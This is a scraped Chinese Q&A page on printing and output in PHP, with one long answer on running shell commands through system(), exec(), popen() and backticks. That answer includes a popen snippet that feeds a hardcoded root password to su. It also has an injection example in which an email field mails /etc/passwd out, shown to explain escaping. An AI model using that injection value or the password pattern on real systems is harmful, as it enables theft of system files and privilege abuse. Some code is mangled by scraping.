当前位置:首页 » 编程语言 » php输出打印

php输出打印

发布时间: 2022-11-07 02:51:22

A. php怎么打印

echo "你输入的内容";
print_r (打印的变量)

B. 用php打印输出班级,学号,性别,联系方式等个人信息

首先你得有个地方储存学生信息的地方,比如数组或者多个变量,然后使用输出结构比如:echo $name...或者echo $info[‘name’]...,希望能帮到你

C. php 怎么实现打印 功能啊 直接打印html中的table 而且为word格式 table里的内容是通过数据库获取出来的

你的打印是不是编程语言里面说的打印,例如basic语言的print语句,如果是的话,在PHP里面使用echo语句打印内容,例如:
echo '<table border=1><tr><td>1<td>2</table>';

如果你是希望程序运行后在打印机上打印输出内容,那可能比较复杂,而且不是PHP的强项,需要编写许多查找打印机的代码,简单的做法是把数据送我特殊设备,可以使用file_put_contents函数,例如:
file_put_contents('PRN:', 'print test');

D. php中怎么打印数组啊

php中打印数组的步骤如下:

1、首先在编辑器中的菜单栏中点击文件,然后点击新建。

E. PHP有没有打印功能打印页面中的某个div的内容有可能吗

php有4种输出方式:

  1. echo 只能打印字符串和数字;

  2. print 只能打印字符串和数字;

  3. print_r 能打印字符串数字及数组,对象;

  4. var_mp 能打印字符串数字数字和对象的详细信息.

至于你说的打印某个div的内容这个是不行的, 用js就可以了, js本来就是和html混合使用的. 因为php的代码运行需要服务器支持才行, 而html代码和js代码则是靠浏览器解析即可, 两者是不一样的.

F. 如何php实现本地打印

php 是在服务器端执行的, 无法直接调用客户端打印机, 要使用客户端本地打印 只能用php生成内容 用 javascript 来实现; 推荐使用 jquery.printarea.js,插件 把要打印的内容用ajax放到一个div 然后打印这个div


<scripttype="text/javascript"src="../js/jquery.min.js"></script>
<scripttype="text/javascript"src="../js/jquery.printarea.js"></script>
<script>
functionprint_xx(){
$("#touming_div").css("visibility","visible");
$("#xxtj_div").load("./getprint.php",{t_table_no:cur_t_table,act:4},function(){
$("#touming_div").css("visibility","hidden");
$("#xxtj_div").printArea();//打印getprint.php输出的内容
});
}
</script>

G. php文件如何打印

php 并不能使用打印机打印,只能 弄出数据 和 样式来进行打印
所用的打印功能 是 浏览器本身自带的

H. PHP输出打印100到200之间能够被3整除的数字,每次打印均需换行

<?php
for($n=100;$n<201;$n=$n+1){//循环从100到200
$a=$n/3;//除以三

if(substr_count($a,".") == 0){//如果小数点在$a里面出现的次数是0,说明能整除
echo $n."<br>";//打印出$n和换行

}
}
?>

I. 在php命令行业中怎样打印内容

在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:

复制代码
代码如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array
可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二
个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:

复制代码
代码如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:

复制代码
代码如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen
()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一
的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。

例子1:

复制代码
代码如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

复制代码
代码如下:

<?php
/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

复制代码
代码如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

这个脚本的输出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么看

要考虑两个问题:安全性和超时。

看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样:

复制代码
代码如下:

<?php
system("mail $to <
procts.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那么这条命令最终变成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入
(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运
行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中,如:

复制代码
代码如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

J. php怎么输出打印

echo "hello world"; 意思是输出 hello world

php 还有printf () print_r() var_mp() 函数

热点内容
php表单注册 发布:2025-01-11 18:43:02 浏览:160
虚拟存储功能 发布:2025-01-11 18:43:01 浏览:887
ninjaandroid 发布:2025-01-11 18:26:10 浏览:526
华为的编译器可以用几个软件 发布:2025-01-11 18:18:18 浏览:620
python中的turtle 发布:2025-01-11 18:06:08 浏览:399
罗布乐思账号密码手机号多少 发布:2025-01-11 18:00:55 浏览:403
在广州什么配置的车才能跑滴滴 发布:2025-01-11 18:00:52 浏览:893
安卓手机哪个生态好 发布:2025-01-11 17:56:01 浏览:274
数据库数据的一致性 发布:2025-01-11 17:30:45 浏览:710
手机怎么设置手势安卓 发布:2025-01-11 17:15:54 浏览:965